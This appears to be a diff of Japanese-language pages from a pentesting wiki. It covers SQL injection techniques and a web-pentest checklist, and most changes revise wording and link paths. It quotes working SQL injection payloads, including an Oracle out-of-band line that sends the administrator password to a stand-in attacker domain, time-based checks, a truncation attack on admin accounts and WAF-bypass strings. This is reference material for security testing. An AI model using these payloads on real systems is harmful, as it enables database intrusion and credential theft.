```sql
|
```sql
|
||||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||||
```
|
```
|
||||||
## 自動化エクスプロイト
|
## 自動化されたエクスプロイト
|
||||||
|
|
||||||
[SQLMap Cheatsheet](sqlmap/)をチェックして、[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使ってSQLi脆弱性をエクスプロイトします。
|
[SQLMap Cheatsheet](sqlmap/index.html)を確認して、[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用してSQLi脆弱性をエクスプロイトします。
|
||||||
|
|
||||||
## 技術特有の情報
|
## 技術特有の情報
|
||||||
|
|
||||||
SQLインジェクション脆弱性をエクスプロイトする方法についてはすでに議論しました。この本では、データベース技術に依存するいくつかのトリックを見つけてください:
|
SQLインジェクション脆弱性をエクスプロイトする方法についてはすでに議論しました。この本でデータベース技術に依存するいくつかのトリックを見つけてください:
|
||||||
|
|
||||||
- [MS Access](ms-access-sql-injection.md)
|
- [MS Access](ms-access-sql-injection.md)
|
||||||
- [MSSQL](mssql-injection.md)
|
- [MSSQL](mssql-injection.md)
|
||||||
- [MySQL](mysql-injection/)
|
- [MySQL](mysql-injection/index.html)
|
||||||
- [Oracle](oracle-injection.md)
|
- [Oracle](oracle-injection.md)
|
||||||
- [PostgreSQL](postgresql-injection/)
|
- [PostgreSQL](postgresql-injection/index.html)
|
||||||
|
|
||||||
また、**MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックが** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)にあります。
|
また、**MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックが** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)にあります。
|
||||||
|
|
||||||
@ -308,21 +308,21 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|||||||
|
|
||||||
### 既存のオブジェクト/ユーザーのパスワードを変更する
|
### 既存のオブジェクト/ユーザーのパスワードを変更する
|
||||||
|
|
||||||
そのためには、**「マスターオブジェクト」と名付けられた新しいオブジェクトを作成する**(おそらく**admin**の場合)ために何かを変更する必要があります:
|
そのためには、**「マスターオブジェクト」として名付けられた新しいオブジェクトを作成する**ことを試みるべきです(おそらく**admin**がユーザーの場合)。
|
||||||
|
|
||||||
- 名前を**AdMIn**(大文字と小文字の文字)にしてユーザーを作成する
|
- 名前を**AdMIn**(大文字と小文字の文字)としてユーザーを作成する
|
||||||
- 名前を**admin=**にしてユーザーを作成する
|
- 名前を**admin=**としてユーザーを作成する
|
||||||
- **SQLトランケーション攻撃**(ユーザー名やメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**にしてユーザーを作成する
|
- **SQLトランケーション攻撃**(ユーザー名やメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**としてユーザーを作成する
|
||||||
|
|
||||||
#### SQLトランケーション攻撃
|
#### SQLトランケーション攻撃
|
||||||
|
|
||||||
データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザー**admin**を偽装したい場合は、"_admin \[30スペース] a_"というユーザー名を作成し、任意のパスワードを使用してみてください。
|
データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザー**admin**を偽装したい場合は、"_admin \[30スペース] a_"というユーザー名を作成し、任意のパスワードを使用してみてください。
|
||||||
|
|
||||||
データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り詰め**、その後、**データベース内のユーザー「**admin**」を新しいパスワードで更新する際に、末尾のすべてのスペースを**自動的に削除**します**(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。
|
データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り詰め**、その後、**自動的に末尾のすべてのスペースを削除して**データベース内のユーザー"**admin**"を**新しいパスワード**で更新します(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。
|
||||||
|
|
||||||
詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||||
|
|
||||||
_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報は:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さを超える文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報は:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||||
|
|
||||||
### MySQL挿入時間ベースのチェック
|
### MySQL挿入時間ベースのチェック
|
||||||
|
|
||||||
@ -332,7 +332,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
|||||||
```
|
```
|
||||||
### ON DUPLICATE KEY UPDATE
|
### ON DUPLICATE KEY UPDATE
|
||||||
|
|
||||||
`ON DUPLICATE KEY UPDATE`句は、MySQLで、UNIQUEインデックスまたはPRIMARY KEYで重複する値を生成する行を挿入しようとしたときに、データベースが実行するアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するために利用されるかを示しています。
|
`ON DUPLICATE KEY UPDATE`句は、MySQLで、UNIQUEインデックスまたはPRIMARY KEYで重複する値を生成する行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するかを示しています。
|
||||||
|
|
||||||
Example Payload Injection:
|
Example Payload Injection:
|
||||||
|
|
||||||
@ -378,9 +378,9 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
|||||||
#Full ascii uppercase and lowercase replace:
|
#Full ascii uppercase and lowercase replace:
|
||||||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||||
```
|
```
|
||||||
## ルーティングされたSQLインジェクション
|
## ルーティッドSQLインジェクション
|
||||||
|
|
||||||
ルーティングされたSQLインジェクションは、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに送られる状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
ルーティッドSQLインジェクションは、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに送られる状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||||
|
|
||||||
例:
|
例:
|
||||||
```
|
```
|
||||||
@ -418,7 +418,7 @@ LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
|||||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||||
```
|
```
|
||||||
### 一般的なバイパス
|
### Generic Bypasses
|
||||||
|
|
||||||
キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス
|
キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス
|
||||||
```sql
|
```sql
|
||||||
@ -426,7 +426,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
|
|||||||
?id=1 AnD 1=1#
|
?id=1 AnD 1=1#
|
||||||
?id=1 aNd 1=1#
|
?id=1 aNd 1=1#
|
||||||
```
|
```
|
||||||
キーワードを使用したブラックリスト(大文字と小文字を区別しない) - 同等の演算子を使用してバイパス
|
キーワードをケースインセンシティブでブラックリスト化 - 同等の演算子を使用してバイパス
|
||||||
```
|
```
|
||||||
AND -> && -> %26%26
|
AND -> && -> %26%26
|
||||||
OR -> || -> %7C%7C
|
OR -> || -> %7C%7C
|
||||||
@ -437,7 +437,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
|||||||
### Scientific Notation WAF バイパス
|
### Scientific Notation WAF バイパス
|
||||||
|
|
||||||
このトリックの詳細な説明は[gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\
|
このトリックの詳細な説明は[gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\
|
||||||
基本的に、WAFをバイパスするために科学的表記を予期しない方法で使用できます:
|
基本的に、WAFをバイパスするために科学的表記を予期しない方法で使用することができます:
|
||||||
```
|
```
|
||||||
-1' or 1.e(1) or '1'='1
|
-1' or 1.e(1) or '1'='1
|
||||||
-1' or 1337.1337e1 or '1'='1
|
-1' or 1337.1337e1 or '1'='1
|
||||||
@ -447,19 +447,19 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
|||||||
|
|
||||||
まず最初に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、次のようにすることができます: `0 UNION SELECT * FROM flag`
|
まず最初に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、次のようにすることができます: `0 UNION SELECT * FROM flag`
|
||||||
|
|
||||||
**名前を使用せずにテーブルの第三カラムにアクセスすることが可能です**。次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`。したがって、sqlinjectionでは次のようになります:
|
**名前を使用せずにテーブルの第三カラムにアクセスすることが可能です**。次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;` したがって、sqlinjectionでは次のようになります:
|
||||||
```bash
|
```bash
|
||||||
# This is an example with 3 columns that will extract the column number 3
|
# This is an example with 3 columns that will extract the column number 3
|
||||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||||
```
|
```
|
||||||
または **カンマバイパス** を使用して:
|
**カンマバイパス**を使用すること:
|
||||||
```bash
|
```bash
|
||||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||||
```
|
```
|
||||||
このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取られました。
|
このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取られました。
|
||||||
|
|
||||||
### WAFバイパスサジェスターツール
|
### WAFバイパス提案ツール
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/m4ll0k/Atlas
|
https://github.com/m4ll0k/Atlas
|
||||||
|
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
すべてのWeb Pentestには、**脆弱性が存在する可能性のある隠れた場所と明らかな場所がいくつかあります**。この記事は、すべての可能な場所で脆弱性を検索したことを確認するためのチェックリストを目的としています。
|
すべてのWeb Pentestには、**脆弱性が存在する可能性のある隠れた場所と明らかな場所がいくつかあります**。この投稿は、すべての可能な場所で脆弱性を検索したことを確認するためのチェックリストを目的としています。
|
||||||
|
|
||||||
## Proxies
|
## Proxies
|
||||||
|
|
||||||
@ -10,7 +10,7 @@
|
|||||||
> 現在、**web** **applications**は通常、何らかの**中間** **プロキシ**を使用しており、これらは脆弱性を悪用するために(悪用されることがあります)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常はバックエンドに追加の脆弱性も必要です。
|
> 現在、**web** **applications**は通常、何らかの**中間** **プロキシ**を使用しており、これらは脆弱性を悪用するために(悪用されることがあります)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常はバックエンドに追加の脆弱性も必要です。
|
||||||
|
|
||||||
- [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
|
- [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
|
||||||
- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
|
- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/index.html)
|
||||||
- [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
|
- [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
|
||||||
- [ ] [**H2C Smuggling**](h2c-smuggling.md)
|
- [ ] [**H2C Smuggling**](h2c-smuggling.md)
|
||||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
|
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||||
@ -21,30 +21,30 @@
|
|||||||
## **User input**
|
## **User input**
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> ほとんどのwebアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\
|
> ほとんどのWebアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\
|
||||||
> データの構造によっては、サーバーが期待する脆弱性が適用される場合とされない場合があります。
|
> データの構造によっては、サーバーが期待する脆弱性が適用される場合とされない場合があります。
|
||||||
|
|
||||||
### **Reflected Values**
|
### **Reflected Values**
|
||||||
|
|
||||||
入力されたデータが何らかの形で応答に反映される場合、ページはさまざまな問題に対して脆弱である可能性があります。
|
入力されたデータが何らかの形で応答に反映される場合、そのページは複数の問題に対して脆弱である可能性があります。
|
||||||
|
|
||||||
- [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
|
- [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
|
||||||
- [ ] [**Command Injection**](command-injection.md)
|
- [ ] [**Command Injection**](command-injection.md)
|
||||||
- [ ] [**CRLF**](crlf-0d-0a.md)
|
- [ ] [**CRLF**](crlf-0d-0a.md)
|
||||||
- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
|
- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)
|
||||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
|
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
|
||||||
- [ ] [**Open Redirect**](open-redirect.md)
|
- [ ] [**Open Redirect**](open-redirect.md)
|
||||||
- [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
- [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
|
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||||
- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
|
- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/index.html)
|
||||||
- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
|
- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)
|
||||||
- [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
|
- [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
|
||||||
- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||||
- [ ] [**XSS**](xss-cross-site-scripting/)
|
- [ ] [**XSS**](xss-cross-site-scripting/index.html)
|
||||||
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
||||||
- [ ] [**XS-Search**](xs-search/)
|
- [ ] [**XS-Search**](xs-search/index.html)
|
||||||
|
|
||||||
いくつかの脆弱性は特別な条件を必要とし、他のものは単にコンテンツが反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロットを見つけることができます:
|
言及された脆弱性のいくつかは特別な条件を必要とし、他のものは単にコンテンツが反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロットを見つけることができます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
pocs-and-polygloths-cheatsheet/
|
pocs-and-polygloths-cheatsheet/
|
||||||
@ -54,11 +54,11 @@ pocs-and-polygloths-cheatsheet/
|
|||||||
|
|
||||||
バックエンド内のデータを検索するために機能が使用される場合、任意のデータを検索するために(悪用)できるかもしれません。
|
バックエンド内のデータを検索するために機能が使用される場合、任意のデータを検索するために(悪用)できるかもしれません。
|
||||||
|
|
||||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
|
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
|
||||||
- [ ] [**NoSQL Injection**](nosql-injection.md)
|
- [ ] [**NoSQL Injection**](nosql-injection.md)
|
||||||
- [ ] [**LDAP Injection**](ldap-injection.md)
|
- [ ] [**LDAP Injection**](ldap-injection.md)
|
||||||
- [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
|
- [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
|
||||||
- [ ] [**SQL Injection**](sql-injection/)
|
- [ ] [**SQL Injection**](sql-injection/index.html)
|
||||||
- [ ] [**XPATH Injection**](xpath-injection.md)
|
- [ ] [**XPATH Injection**](xpath-injection.md)
|
||||||
|
|
||||||
### **Forms, WebSockets and PostMsgs**
|
### **Forms, WebSockets and PostMsgs**
|
||||||
@ -67,15 +67,15 @@ WebSocketがメッセージを投稿したり、ユーザーがアクション
|
|||||||
|
|
||||||
- [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
|
- [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
|
||||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
|
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
|
||||||
- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/)
|
- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/index.html)
|
||||||
|
|
||||||
### **HTTP Headers**
|
### **HTTP Headers**
|
||||||
|
|
||||||
Webサーバーから提供されるHTTPヘッダーによっては、いくつかの脆弱性が存在する可能性があります。
|
Webサーバーから提供されるHTTPヘッダーによっては、いくつかの脆弱性が存在する可能性があります。
|
||||||
|
|
||||||
- [ ] [**Clickjacking**](clickjacking.md)
|
- [ ] [**Clickjacking**](clickjacking.md)
|
||||||
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
|
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/index.html)
|
||||||
- [ ] [**Cookies Hacking**](hacking-with-cookies/)
|
- [ ] [**Cookies Hacking**](hacking-with-cookies/index.html)
|
||||||
- [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
|
- [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
|
||||||
|
|
||||||
### **Bypasses**
|
### **Bypasses**
|
||||||
@ -85,7 +85,7 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
- [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
|
- [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
|
||||||
- [ ] [**Bypass Payment Process**](bypass-payment-process.md)
|
- [ ] [**Bypass Payment Process**](bypass-payment-process.md)
|
||||||
- [ ] [**Captcha Bypass**](captcha-bypass.md)
|
- [ ] [**Captcha Bypass**](captcha-bypass.md)
|
||||||
- [ ] [**Login Bypass**](login-bypass/)
|
- [ ] [**Login Bypass**](login-bypass/index.html)
|
||||||
- [ ] [**Race Condition**](race-condition.md)
|
- [ ] [**Race Condition**](race-condition.md)
|
||||||
- [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
|
- [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
|
||||||
- [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
|
- [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
|
||||||
@ -93,21 +93,21 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
|
|
||||||
### **Structured objects / Specific functionalities**
|
### **Structured objects / Specific functionalities**
|
||||||
|
|
||||||
いくつかの機能は、**データが非常に特定の形式で構造化されることを必要とします**(言語シリアライズオブジェクトやXMLのように)。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
|
一部の機能は、**データが非常に特定の形式で構造化されることを必要とします**(言語シリアライズオブジェクトやXMLのように)。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
|
||||||
特定の機能も、**特定の入力形式が使用される場合**に脆弱である可能性があります(メールヘッダーインジェクションのように)。
|
一部の**特定の機能**は、**特定の形式の入力が使用される場合**にも脆弱である可能性があります(メールヘッダーインジェクションのように)。
|
||||||
|
|
||||||
- [ ] [**Deserialization**](deserialization/)
|
- [ ] [**Deserialization**](deserialization/index.html)
|
||||||
- [ ] [**Email Header Injection**](email-injections.md)
|
- [ ] [**Email Header Injection**](email-injections.md)
|
||||||
- [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
|
- [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
|
||||||
- [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
|
- [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
|
||||||
|
|
||||||
### Files
|
### Files
|
||||||
|
|
||||||
ファイルのアップロードを許可する機能は、さまざまな問題に対して脆弱である可能性があります。\
|
ファイルのアップロードを許可する機能は、いくつかの問題に対して脆弱である可能性があります。\
|
||||||
ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\
|
ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\
|
||||||
ユーザーがアップロードしたファイルや、ユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
|
ユーザーがユーザーによってアップロードされたファイルや、ユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
|
||||||
|
|
||||||
- [ ] [**File Upload**](file-upload/)
|
- [ ] [**File Upload**](file-upload/index.html)
|
||||||
- [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
|
- [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||||
- [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
|
- [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
|
||||||
- [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
- [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||||
@ -115,7 +115,7 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
### **External Identity Management**
|
### **External Identity Management**
|
||||||
|
|
||||||
- [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
|
- [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
|
||||||
- [ ] [**SAML Attacks**](saml-attacks/)
|
- [ ] [**SAML Attacks**](saml-attacks/index.html)
|
||||||
|
|
||||||
### **Other Helpful Vulnerabilities**
|
### **Other Helpful Vulnerabilities**
|
||||||
|
|
||||||
@ -124,6 +124,6 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
- [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
|
- [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
|
||||||
- [ ] [**IDOR**](idor.md)
|
- [ ] [**IDOR**](idor.md)
|
||||||
- [ ] [**Parameter Pollution**](parameter-pollution.md)
|
- [ ] [**Parameter Pollution**](parameter-pollution.md)
|
||||||
- [ ] [**Unicode Normalization vulnerability**](unicode-injection/)
|
- [ ] [**Unicode Normalization vulnerability**](unicode-injection/index.html)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -7,11 +7,11 @@
|
|||||||
## Proxies
|
## Proxies
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> 現在、**web** **applications**は通常、何らかの**中間** **プロキシ**を使用しており、これらは脆弱性を悪用するために(悪用される可能性があります)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常はバックエンドに追加の脆弱性も必要です。
|
> 現在、**web** **applications**は通常、何らかの**中間** **プロキシ**を使用しており、これらは脆弱性を悪用するために(悪用されることがあります)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常はバックエンドに追加の脆弱性も必要です。
|
||||||
|
|
||||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
|
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
|
||||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||||
@ -21,7 +21,7 @@
|
|||||||
## **User input**
|
## **User input**
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> ほとんどのwebアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\
|
> ほとんどのWebアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\
|
||||||
> データの構造によっては、サーバーが期待する脆弱性が適用される場合とされない場合があります。
|
> データの構造によっては、サーバーが期待する脆弱性が適用される場合とされない場合があります。
|
||||||
|
|
||||||
### **Reflected Values**
|
### **Reflected Values**
|
||||||
@ -31,20 +31,20 @@
|
|||||||
